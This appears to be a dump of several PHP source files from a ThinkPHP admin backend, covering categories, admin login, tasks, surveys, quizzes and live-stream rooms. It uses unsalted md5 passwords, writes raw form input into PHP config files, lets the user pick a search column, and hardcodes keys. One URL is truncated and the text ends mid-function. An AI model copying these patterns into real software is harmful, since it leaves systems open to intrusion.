$typename=Db::name('typeid')->where(['title'=>$post['title'],'tid'=>0])->find();

if($typename){

return ['err'=>'栏目名称已存在'];

}

}

$post['create\_time']=$time;

$db=Db::name('typeid')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('typeid')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

$data=["err"=>$validate->getError()];

}

}else{

if($id){

$name=Db::name('typeid')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}else{

}

$data=$this->fetch();

}

return $data;

}

public function hide(){

$id=input('id');

if(request()->isAjax()){

if($id){

$arra=['0'=>'隐藏','1'=>'显示'];

$type='hide';

$db=Db::name('typeid')->where('id',$id)->value('hide');

if($db==1){

$hide=0;

}else{

$hide=1;

}

$db=Db::name('typeid')->where('id',$id)->setField($type,$hide);

if($db){

$data=['ret'=>$arra[$hide].'成功','id'=>$hide,'text'=>$arra[$hide]];

}else{

$data=['err'=>$arra[$hide].'失败'];

}

}else{

$data=['err'=>'ID参数错误'];

}

}else{

$data=['err'=>'AJAX参数错误'];

}

return $data;

}

public function hide\_app(){

$id=input('id');

if(request()->isAjax()){

if($id){

$arra=['0'=>'APP显示','1'=>'APP隐藏'];

$type='app';

$db=Db::name('typeid')->where('id',$id)->value('app');

if($db==1){

$hide=0;

}else{

$hide=1;

}

$db=Db::name('typeid')->where('id',$id)->setField($type,$hide);

if($db){

$data=['ret'=>$arra[$hide].'成功','id'=>$hide,'text'=>$arra[$hide]];

}else{

$data=['err'=>$arra[$hide].'失败'];

}

}else{

$data=['err'=>'ID参数错误'];

}

}else{

$data=['err'=>'AJAX参数错误'];

}

return $data;

}

public function typedel(){

return ['err'=>'使用采集文章不建议删除分类，否则会影响到采集文章关联分类'];

if(request()->isAjax()){

$id=input('id');

if($id){

$typeid=Db::name('article')->where('typeid',$id)->find();

if(!$typeid){

$db=Db::name('typeid')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'栏目下有文章，请先删除文章对应栏目'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function add1(){

$url=url('typeid/add',['mychannel'=>'1','url'=>'-1']);

$this->redirect($url);

}

public function add2(){

$url=url('typeid/add',['mychannel'=>'2','url'=>'-1']);

$this->redirect($url);

}

public function add3(){

$url=url('typeid/add',['mychannel'=>'3','url'=>'-1']);

$this->redirect($url);

}

}

<?php

namespace app\admin\controller;

use think\Controller;

use think\Session;

class Login extends Controller

{

public function \_initialize(){

if(Session::has('admin','ffxiangAdmin')){

$this->redirect("index/index");

}

}

public function index(){

if(request()->isAjax()){

$name=input('post.name');

$password=md5(input('post.password'));

$captcha=input('post.yzm');

if($name && $password){

if(!$captcha){

return ['err'=>'请输入验证码'];

}

if(!captcha\_check($captcha)){

return ['err'=>'验证码错误'];

};

$admin = db('admin')->where(['name'=>$name,'password'=>$password])->find();

if($admin){

if($admin['hide']<=0){

$data=array("err"=>'账户被禁用');

}else{

db('admin')->where('id',$admin['id'])->update(['update\_time'=>time(),'update\_ip'=>\_ip()]);

Session::set('admin',$admin,'ffxiangAdmin');

$data=array("ret"=>'登录成功,正在跳转...');

}

}else{

$data=array("err"=>'账户和密码错误');

}

}else{

$data=['err'=>'请输入信息'];

}

return json($data);

}else{

return $this->fetch();

}

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

class Renwu extends Common

{

public function config(){

$config=config();

$this->assign('cfg',$config['renwu']);

if(request()->isAjax()){

$post=input('post.');

if($post){

$data=$post;

if($data){

$data=var\_export($data, true);

$data=str\_replace("array", "return", $data);

$data=str\_replace("(", "[", $data);

$data=str\_replace(")", "];", $data);

$data="<?php\r\n".$data;

file\_put\_contents(APP\_PATH.'extra/renwu.php', print\_r($data, true));

$data=['ret'=>'保存成功'];

}else{

$data=['err'=>'保存失败'];

}

}else{

$data=['err'=>'提交参数错误'];

}

}else{

$data=$this->fetch();

}

return $data;

}

public function lists(){

$data=Db::name('renwu')->alias('a')->field('a.id,a.name,a.money,a.text,a.url,b.title,a.time,a.des,a.hide,a.typeid')->join('\_\_RENWU\_TYPEID\_\_ b','a.typeid=b.id')->order('des desc,id asc')->select();

$this->assign('data',$data);

return $this->fetch();

}

public function add(){

$id=input("id");

$typedata=Db::name('renwu\_typeid')->where(['hide'=>1])->select();

$this->assign('typedata',$typedata);

if(request()->isAjax()){

$post=input('post.');

$time=time();

$post['time']=$time;

if(!$post['typeid']){

return ['err'=>'请选择分组'];

}

if(!$id){

$titledb=Db::name('renwu')->where('name',$post['name'])->find();

if($titledb){

return ['err'=>'标题已存在'];

}

$db=Db::name('renwu')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('renwu')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

$typeid=input("typeid/d");

$this->assign('typeid',$typeid);

if($id){

$name=Db::name('renwu')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function del(){

if(request()->isAjax()){

$id=input('id');

if($id){

if($id <= 6){

return ['err'=>'不可删除'];;

}

$db=Db::name('renwu')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function typeid(){

$data=Db::name('renwu\_typeid')->order('des desc,id asc')->select();

$this->assign('data',$data);

return $this->fetch();

}

public function typeidadd(){

$id=input("id");

if(request()->isAjax()){

$post=input('post.');

$time=time();

if(!$id){

$titledb=Db::name('renwu\_typeid')->where('title',$post['title'])->find();

if($titledb){

return ['err'=>'分组名称已存在'];

}

$db=Db::name('renwu\_typeid')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('renwu\_typeid')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('renwu\_typeid')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function typeiddel(){

if(request()->isAjax()){

$id=input('id');

if($id){

if($id <= 2){

return ['err'=>'新手任务和日常任务不可删除'];;

}

$db=Db::name('renwu\_typeid')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function diaochalist(){

$data=Db::name('diaocha')->order('des desc,id asc')->select();

foreach ($data as $k => $v) {

$data[$k]['num']=count(json\_decode($v['data']));

}

$this->assign('data',$data);

return $this->fetch();

}

public function diaochaadd(){

$id=input("id");

if(request()->isAjax()){

$post=input('post.');

$post['data']=array\_filter($post['data']);

$post['data']=json\_encode($post['data']);

$time=time();

if(!$id){

$titledb=Db::name('diaocha')->where('title',$post['title'])->find();

if($titledb){

return ['err'=>'标题已存在'];

}

$db=Db::name('diaocha')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('diaocha')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('diaocha')->where('id',$id)->find();

$name['data']=json\_decode($name['data']);

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function diaochadel(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=Db::name('diaocha')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function diaochauser(){

$data=Db::name('diaocha\_user')->order('id desc')->paginate('',false,['query'=>request()->param()]);

$this->assign('data',$data);

return $this->fetch();

}

public function diaochainfo(){

$id=input("id/d");

$data=Db::name("diaocha\_user")->find($id);

$data['data']=json\_decode($data['data'],true);

$this->assign('data',$data);

return $this->fetch();

}

public function diaochauserdel(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=Db::name('diaocha\_user')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function datilist(){

$data=Db::name('dati')->order('des desc,id asc')->select();

foreach ($data as $k => $v) {

$data[$k]['num']=count(json\_decode($v['data']));

}

$this->assign('data',$data);

return $this->fetch();

}

public function datiadd(){

$id=input("id");

if(request()->isAjax()){

$post=input('post.');

$post['data']=array\_filter($post['data']);

$post['data']=json\_encode($post['data']);

$time=time();

if(!$id){

$titledb=Db::name('dati')->where('title',$post['title'])->find();

if($titledb){

return ['err'=>'标题已存在'];

}

$db=Db::name('dati')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('dati')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('dati')->where('id',$id)->find();

$name['data']=json\_decode($name['data']);

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function datidel(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=Db::name('dati')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

class Zhibo extends Common

{

private $token;

public function \_initialize(){

$member = Db::name('member')->order('id asc')->cache(true)->find();

$data = $member['id'].'|www.ffxiang.cn|'.$member['password'];

$this->token = \_encrypt($data);

}

public function config(){

$config=config();

$this->assign('cfg',$config['zhibo']);

if(request()->isAjax()){

$post=input('post.');

if($post){

$data=$post;

if($data){

$data=var\_export($data, true);

$data=str\_replace("array", "return", $data);

$data=str\_replace("(", "[", $data);

$data=str\_replace(")", "];", $data);

$data="<?php\r\n".$data;

file\_put\_contents(APP\_PATH.'extra/zhibo.php', print\_r($data, true));

$data=['ret'=>'保存成功'];

}else{

$data=['err'=>'保存失败'];

}

}else{

$data=['err'=>'提交参数错误'];

}

}else{

$data=$this->fetch();

}

return $data;

}

public function lists(){

$map=[];

$search\_name=input('param.name');

$search\_type=input('param.type');

if($search\_name && $search\_type){

$map[$search\_type] = ['like','%'.$search\_name.'%'];

}else{

$map='';

}

$db=Db::name('member\_zhibo')->order('id desc,update\_time desc')->where($map)->paginate('',false,['query'=>request()->param()]);

$data=$db->toarray()['data'];

$ids = [];

foreach ($data as $k => $v) {

$data[$k]['user'] = \_user($v['uid']);

$type\_2 = Db::name('member\_zhibo\_type')->cache(true)->find($v['type\_id']);

$type\_1 = Db::name('member\_zhibo\_type')->cache(true)->find($type\_2['tid']);

$data[$k]['type\_1'] = $type\_1['title'];

$data[$k]['type\_2'] = $type\_2['title'];

$ids[$k] = $v['roomId'];

}

if(count($data)){

$zhibo = new \app\api\controller\Zhibo($this->token);

$list = json\_decode($zhibo->GetRoomsLiveInfo($ids),true);

$list\_data = [];

if(!empty($list['ret'])){

$list = $list['ret']['entities'];

foreach ($list as $k => $v) {

$list\_data[$k]['roomId'] = $v['roomId'];

$status\_data = [0=>'未开始',1=>'<b style="color:#f00">正在直播</b>'];

$list\_data[$k]['streamStatus'] = $status\_data[$v['streamStatus']];

$list\_data[$k]['playUserCount'] = $v['playUserCount'];

}

}

foreach ($data as $k => $v) {

foreach ($list\_data as $k\_s => $v\_s) {

if($v['roomId'] == $v\_s['roomId']){

$data[$k]['streamStatus'] = $v\_s['streamStatus'];

$data[$k]['playUserCount'] = $v\_s['playUserCount'];

continue;

}

}

}

}

$this->assign('data',$data);

$page = $db->render();

$this->assign('page', $page);

return $this->fetch();

}

public function lists\_add(){

$category=Db::name('member\_zhibo\_type')->order('des desc,id asc')->cache(true)->select();

$category=get\_tree\_option($category,0);

$this->assign('category',$category);

$id = input("id");

if(request()->isAjax()){

$post=input('post.');;

if(!$id){

if(!$post['uid']){

return json(['err'=>'用户ID必填']);

}

$member = Db::name('member')->find($post['uid']);

if(!$member){

return json(['err'=>'用户ID不存在']);

}

$data = $member['id'].'|www.ffxiang.cn|'.$member['password'];

$token = \_encrypt($data);

$zhibo = new \app\api\controller\Zhibo($token);

$list = json\_decode($zhibo->CreateRoom($post),true);

if(!empty($list['ret'])){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>$list['msg']];

}

}else{

$member = Db::name('member')->find($post['uid']);

if(!$member){

return json(['err'=>'用户ID不存在']);

}

$data = $member['id'].'|www.ffxiang.cn|'.$member['password'];

$token = \_encrypt($data);

$zhibo = new \app\api\controller\Zhibo($token);;

$list = json\_decode($zhibo->ModifyRoom($post),true);

if(!empty($list['ret'])){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>$list['msg']];

}

}

}else{

if($id){

$name=Db::name('member\_zhibo')->where('id',$id)->find();

$zhibo = new \app\api\controller\Zhibo($this->token);

$name['data'] = json\_decode($zhibo->GetRooms(['searchRoomId'=>$name['roomId']]),true);

if(!empty($name['data']['ret'])){

$name['data'] = $name['data']['ret']['entities']['0'];

$status\_data = [0=>'未开始',1=>'已删除',2=>'正在直播'];

$name['data']['status\_name'] = $status\_data[$name['data']['status']];

}

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function lists\_del(){

if(request()->isAjax()){

$id=input('id');

if($id){

$zhibo = new \app\api\controller\Zhibo($this->token);;

$name = Db::name('member\_zhibo')->cache(true)->find($id);

$res = json\_decode($zhibo->DelRoom($name['roomId']),true);

Db::name('member\_zhibo')->delete($id);

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function type(){

$category=Db::name('member\_zhibo\_type')->order('des desc,id asc')->select();

$category=get\_tree\_option($category,0);

$this->assign('data',$category);

return $this->fetch();

}

public function type\_add(){

$id = input("id");

if(request()->isAjax()){

$post=input('post.');;

if(!$id){

if($post['tid']==0){

$typename=Db::name('member\_zhibo\_type')->where(['title'=>$post['title'],'tid'=>0])->find();

if($typename){

return ['err'=>'栏目名称已存在'];

}

}

$db=Db::name('member\_zhibo\_type')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('member\_zhibo\_type')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

$category=Db::name('member\_zhibo\_type')->field('id,tid,title')->order('des desc,id asc')->cache(true)->select();

$category=get\_tree\_option($category,0);

$this->assign('category',$category);

if($id){

$name=Db::name('member\_zhibo\_type')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function type\_del(){

if(request()->isAjax()){

$id=input('id');

if($id){

$typeid=Db::name('member\_zhibo\_type')->delete($id);

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function liwu(){

$data=Db::name('member\_zhibo\_liwu')->order('des desc,id asc')->select();

$this->assign('data',$data);

return $this->fetch();

}

public function liwu\_add(){

$id = input("id");

if(request()->isAjax()){

$post=input('post.');;

if(!$id){

$title=Db::name('member\_zhibo\_liwu')->where(['title'=>$post['title']])->find();

if($title){

return ['err'=>'名称已存在'];

}

$db=Db::name('member\_zhibo\_liwu')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('member\_zhibo\_liwu')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('member\_zhibo\_liwu')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function liwu\_del(){

if(request()->isAjax()){

$id=input('id');

if($id){

$typeid=Db::name('member\_zhibo\_liwu')->delete($id);

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function liwu\_list(){

$map=[];

$search\_name=input('param.name');

$search\_type=input('param.type');

if($search\_name && $search\_type){

$map[$search\_type] = ['like','%'.$search\_name.'%'];

}else{

$map='';

}

$db=Db::name('member\_zhibo\_liwu\_list')->order('id desc')->where($map)->paginate('',false,['query'=>request()->param()]);

$data=$db->toarray()['data'];

foreach ($data as $k => $v) {

$data[$k]['user'] = \_user($v['uid']);

$data[$k]['liwu'] = Db::name('member\_zhibo\_liwu')->find($v['liwu\_id']);

}

$this->assign('data',$data);

$page = $db->render();

$this->assign('page', $page);

return $this->fetch();

}

}

<?php

use think\Request;

use think\Db;

function gettree($data, $tid,$num=0){

$num+=1;

$nbsp='';

if($tid!=0){

$nbsp.=$nbsp.'&nbsp;&nbsp;┠&nbsp;&nbsp';

}

$html = '';

$hide=array('0'=>'隐藏','1'=>'显示');

$hides=array('1'=>'隐藏','0'=>'显示');

foreach($data as $k => $v){

if($v['tid'] == $tid){

$html .= "\r\n<tr id=\"id".$v['id']."\" class=\"gradeA footable-even category".$num."\">";

$html .= "<td class=\"categoryTitle\">".$nbsp.$v['id']."</td>";

$html .= "<td class=\"categoryTitle\">".$nbsp.$v['title']."</td>";

$html .= "<td>".$v['controller']."</td>";

$html .= "<td>".$v['function']."</td>";

$html .= "<td>".$hide[$v['hide']]."</td>";

$html .= '<td><div class="btn-group">';

$html .= '<button data-toggle="dropdown" class="btn btn-primary btn-xs dropdown-toggle">操作 <span class="caret"></span></button><ul class="dropdown-menu">';

$html .= "<li><a href=".url('add',['id'=>$v['id']]).">修改</a></li><li><a href=".url('hide',['id'=>$v['id']]).">".$hides[$v['hide']]."</a></li>".'<li class="divider"></li>';

$html .= "<li><a href=\"javascript:;\" onclick=\"del(".$v['id'].")\">删除</a></li></td></tr>";

$html .= getTree($data, $v['id'],$num);

$html =$html;

}

}

return $html;

}

/\*字符过滤url\*/

function safe\_replace($string) {

$string = str\_replace('%20','',$string);

$string = str\_replace('%27','',$string);

$string = str\_replace('%2527','',$string);

$string = str\_replace('\*','',$string);

$string = str\_replace('"','&quot;',$string);

$string = str\_replace("'",'',$string);

$string = str\_replace('"','',$string);

$string = str\_replace(';','',$string);

$string = str\_replace('<','&lt;',$string);

$string = str\_replace('>','&gt;',$string);

$string = str\_replace("{",'',$string);

$string = str\_replace('}','',$string);

$string = str\_replace('\\','',$string);

return $string;

}

function category($data, $tid,$selected,$num=0){

$num+=1;

$nbsp='';

$selecteds='';

if($num!=1){

for ($i=1; $i <$num ; $i++) {

$nbsp.='&nbsp;&nbsp;&nbsp;&nbsp;';

}

$nbsp.='┠&nbsp;&nbsp;';

}

$html = '';

foreach($data as $k => $v){

if($v['tid'] == $tid){

if($selected==$v['id']){

$selecteds='selected="selected"';

}else{

$selecteds='';

}

$html .= "\r\n".'<option value="'.$v['id'].'" '.$selecteds.'>'.$nbsp.$v['title'].'</option>';

$html .= category($data, $v['id'],$selected,$num);

$html =$html;

}

}

return $html;

}

function get\_web\_url() {

$sys\_protocal = isset($\_SERVER['SERVER\_PORT']) && $\_SERVER['SERVER\_PORT'] == '443' ? '' : '';

$php\_self = $\_SERVER['PHP\_SELF'] ? safe\_replace($\_SERVER['PHP\_SELF']) : safe\_replace($\_SERVER['SCRIPT\_NAME']);

$path\_info = isset($\_SERVER['PATH\_INFO']) ? safe\_replace($\_SERVER['PATH\_INFO']) : '';

$relate\_url = isset($\_SERVER['REQUEST\_URI']) ? safe\_replace($\_SERVER['REQUEST\_URI']) : $php\_self.(isset($\_SERVER['QUERY\_STRING']) ? '?'.safe\_replace($\_SERVER['QUERY\_STRING']) : $path\_info);

return $sys\_protocal.(isset($\_SERVER['HTTP\_HOST']) ? $\_SERVER['HTTP\_HOST'] : '').$relate\_url;

}

function get\_tree\_option($data, $tid) {

$stack = array($tid);

$child = array();

$added = array();

$options = array();

$obj = array();

$loop = 0;

$depth = -1;

foreach($data as $node) {

$pid = $node['tid'];

if(!isset($child[$pid])) {

$child[$pid] = array();

}

array\_push($child[$pid], $node['id']);

$obj[$node['id']] = $node;

}

while (count($stack) > 0) {

$id = $stack[0];

$flag = false;

$node = isset($obj[$id]) ? $obj[$id] : null;

if (isset($child[$id])) {

for($i = count($child[$id]) - 1; $i >= 0; $i--) {

array\_unshift($stack, $child[$id][$i]);

}

$flag = true;

}

if ($id != $tid && $node && !isset($added[$id])) {

$node['depth'] = $depth;

$options[] = $node;

$added[$id] = true;

}

if($flag == true){

$depth++;

} else {

if($node) {

for ($i = count($child[$node['tid']]) - 1; $i >= 0; $i--) {

if ($child[$node['tid']][$i] == $id) {

array\_splice($child[$node['tid']], $i, 1);

break;

}

}

if(count($child[$node['tid']]) == 0) {

$child[$node['tid']] = null;

$depth--;

}

}

array\_shift($stack);

}

$loop++;

if($loop > 5000) return $options;

}

unset($child);

unset($obj);

return $options;

}

function ueditor($name=''){

if(!$name){$name='content';}

$html='<script type="text/javascript" charset="utf-8" src="\_\_PLUGINS\_\_ueditor/ueditor.config.js"></script>';

$html.='<script type="text/javascript" charset="utf-8" src="\_\_PLUGINS\_\_ueditor/ueditor.all.min.js"></script>';

$html.='<script type="text/javascript" src="\_\_PLUGINS\_\_ueditor/lang/zh-cn/zh-cn.js"></script>';

$html.='<script type="text/javascript">';

if(is\_array($name))

foreach($name as $n) { $html.="var ue=UE.getEditor('".$n."');"; }

else

$html.="var ue=UE.getEditor('".$name."');";

$html.='</script>';

return $html;

}

function \_payType($id,$name='title'){

$data=Db::name('pay')->where(['id'=>$id])->cache(true)->find();

return $data['type'].$data['title'];

}

<?php

namespace app\admin\validate;

use think\Validate;

class Coin extends Validate

{

protected $rule = [

'currency|币名称' => 'require|max:100',

'fullname|全称' => 'max:100',

'fullname\_zh|中文全称' => 'max:100',

'white\_paper|白皮书' => 'url',

'block\_url|区块地址' => 'url',

'official\_website|官网' => 'url',

'exchange\_num|上架交易所数量' => 'number',

'circulation|流通量' => 'number',

'total\_circulation|发行量' => 'number',

];

}

<?php

namespace app\admin\validate;

use think\Validate;

class Category extends Validate

{

protected $rule = [

'title|菜单名称' => 'require|max:50',

'tid|显示位置' => 'require|number',

'des|菜单排序' => 'require|number',

];

}<?php

namespace app\admin\validate;

use think\Validate;

class Admin extends Validate

{

protected $rule = [

'type|权限' => 'require|number',

'hide|禁用' => 'require|number',

];

}<?php

namespace app\admin\validate;

use think\Validate;

class Platform extends Validate

{

protected $rule = [

'name|应用名称' => 'require|max:100',

'hide|是否隐藏' => 'require|number',

'score|评级' => 'require|number|between:1,5',

];

}

<?php

namespace app\admin\validate;

use think\Validate;

class Member extends Validate

{

protected $rule = [

'user|账户' => 'max:200|alphaDash',

'mobile|手机' => 'number',

'nickname|昵称' => 'max:200',

'money|余额' => 'number',

'score|积分' => 'number',

'jingyan|经验值' => 'number',

'password|密码' => 'min:6'

];

}<?php

namespace app\admin\validate;

use think\Validate;

class Typeid extends Validate

{

protected $rule = [

'title|栏目名称' => 'require|max:100',

'hide|是否隐藏' => 'require|number',

'tid|菜单排序' => 'require|number',

];

}<?php

namespace app\admin\model;

use think\Model;

class Typeid extends Model{

protected $name = 'typeid';

protected $auto = ['update\_time'];

protected $insert = ['create\_time'];

protected function setCreatetimeAttr(){

return time();

}

protected function setUpdatetimeAttr(){

return time();

}

}

<?php

return [

'view\_replace\_str' => [

'\_\_PUBLIC\_\_' => '/public/',

'\_\_STYLE\_\_' => '/public/style/admin/',

'\_\_CSS\_\_' => '/public/style/admin/css/',

'\_\_JS\_\_' => '/public/style/admin/js/',

'\_\_IMG\_\_' => '/public/style/admin/img/',

'\_\_PLUGINS\_\_' => '/public/style/admin/plugins/',

'\_\_IMAGES\_\_' => '/public/uploads/',

'\_\_IMGERROE\_\_' => '/public/style/admin/img/images.jpg',

],

'adminClass' => [

'main' => ' animated fadeInRight',

'top' => ' ',

'left' => ' ',

'right' => ' ',

],

'appkey' => [

'ip' => '51601367eff4ff5de64633ff127b75e8'

],

'paginate' => [

'type' => 'bootstrap',

'var\_page' => 'page',

'list\_rows' => 20,

],

'url\_route\_on' => false,

];

<?php

use think\Db;

use think\Session;

use app\api\model\Send;

function \_cache($name=''){

if($name=='db'){

return true;

}

}

function \_encrypt($string, $operation = 'E', $key = '|www.ffxiang.cn|')

{

$key = md5($key);

$key\_length = strlen($key);

$string = $operation == 'D' ? base64\_decode($string) : substr(md5($string . $key), 0, 8) . $string;

$string\_length = strlen($string);

$rndkey = $box = [];

$result = '';

for ($i = 0; $i <= 255; $i ++) {

$rndkey[$i] = ord($key[$i % $key\_length]);

$box[$i] = $i;

}

for ($j = $i = 0; $i < 256; $i ++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}

for ($a = $j = $i = 0; $i < $string\_length; $i ++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}

if ($operation == 'D') {

if (substr($result, 0, 8) == substr(md5(substr($result, 8) . $key), 0, 8)) {

return substr($result, 8);

} else {

return '';

}

} else {

return str\_replace('=', '', base64\_encode($result));

}

}

function \_decrypt($text)

{

if (!$text) {

return false;

}

$text = \_encrypt($text, 'D');

$text = explode('|www.ffxiang.cn|', $text);

if (!isset($text[1])) {

return false;

}

$id = abs($text[0]);

$password = $text[1];

if (!$password) {

return false;

}

if ($id && $password) {

$db = Db::name('member')->where(['id' => $id, 'password' => $password, 'hide' => 1])->value('id');

if ($db == $id) {

return $db;

} else {

return false;

}

} else {

return false;

}

}

function \_ip($ip=''){

if(!$ip){

$ip=request()->ip();

}

$ips=file\_get\_contents('http:

$ips=json\_decode($ips,true);

if($ips){

$ip=$ips['region'].$ips['city'].','.$ips['ip'];

}else{

$ip='未知,'.$ip;

}

return $ip;

}

function \_img($img){

if($img){

return $img;

}else{

$data='/public/style/index/img/images.jpg';

}

return $data;

}

function \_substr($title,$length=20,$dian='...'){

if(mb\_strlen($title) <= $length){

$data = $title;

}else{

$data = mb\_substr($title,0,$length,'utf-8').$dian;

}

return $data;

}

function \_tongjiField($name,$where,$addDel=1,$field='tongji',$int=1){

if($addDel==1){

$db=Db::name($name)->where($where)->setInc($field,$int);

}else{

$db=Db::name($name)->where($where)->setDec($field,$int);

}

$data=$db ? 1 : 0;

return $data;

}

function \_mychannelName($id,$name='title'){

if($id){

$db=Db::name('mychannel')->where('id',$id)->cache(\_cache('db'))->value($name);

if(!$db){

return false;

}

return $db;

}else{

return false;

}

}

function \_typeid($id='',$name='title'){

if($name=='url'){

$url=url('typeid',['id'=>$id]);

return $url;

}

$db=Db::name('typeid')->where(['id'=>$id])->cache(\_cache('db'))->value($name);

if($db){

return $db;

}

}

function \_typeidTid($arr,$tid){

$data = array();

foreach($arr as $v){

if($v['tid'] == $tid){

$data[] = $v;

$data = array\_merge($data,\_typeidTid($arr,$v['id']));

}

}

return $data;

}

function \_count($table,$where=[],$field='id'){

if(!$table){

$data='请输入数据表统计';

}else{

$data=Db::name($table)->where($where)->count($field);

}

return $data;

}

function \_flags($id,$name='title'){

if($id){

$data=Db::name('flags')->where(['id'=>$id])->cache(\_cache('db'))->value($name);

}else{

$data='';

}

return $data;

}

function \_userGroups($jingyan=0,$name='title'){

$db=Db::name('member\_groups')->where('jingyan','elt',$jingyan)->order('id desc')->cache(\_cache('db'))->value($name);

return $db;

}

function \_records($uid='',$text='',$money='',$type='',$data=''){

if(!$uid && !$text){

return '';

}

$where['uid']=$uid;

$where['text']=$text;

$where['money']=$money;

$where['type']=$type;

$where['data']=$data;

$where['time']=time();

$where['ip']=\_ip();

$where['system']=$\_SERVER['HTTP\_USER\_AGENT'];

$db=DB::name('member\_records')->insert($where);

return true;

}

function \_user($id='',$name='',$fuhao='\*\*\*\*'){

if(!$id) return '';

$data=Db::name('member')->where('id',$id)->find();

if(!$data){

return ;

}

if($data['nickname']){

$data['username']=$data['nickname'];

}else if($data['user']){

$data['username']=$data['user'];

}else if($data['mobile']){

if($fuhao){

$data['username']=substr($data['mobile'],0,3).$fuhao.substr($data['mobile'],7,4);

}else{

$data['username']=$data['mobile'];

}

}else if($data['email']){

if(!$fuhao){

$email = explode('@',$data['email']);

$data['username'] = substr($data['email'],0,2).$fuhao.$email[1];

}else{

$data['username']=$data['email'];

}

}else{

$data['username']='用户'.\_userName\_id($data['id']);

}

if(!$data['qianming']){

$data['qianming']='这家伙好懒，什么都不留下！';

}

if(!$data['img']){

$data['img']= '/public/style/index/member/img/userimg.gif';

}else{

$data['img']=\_imgUrl().$data['img'];
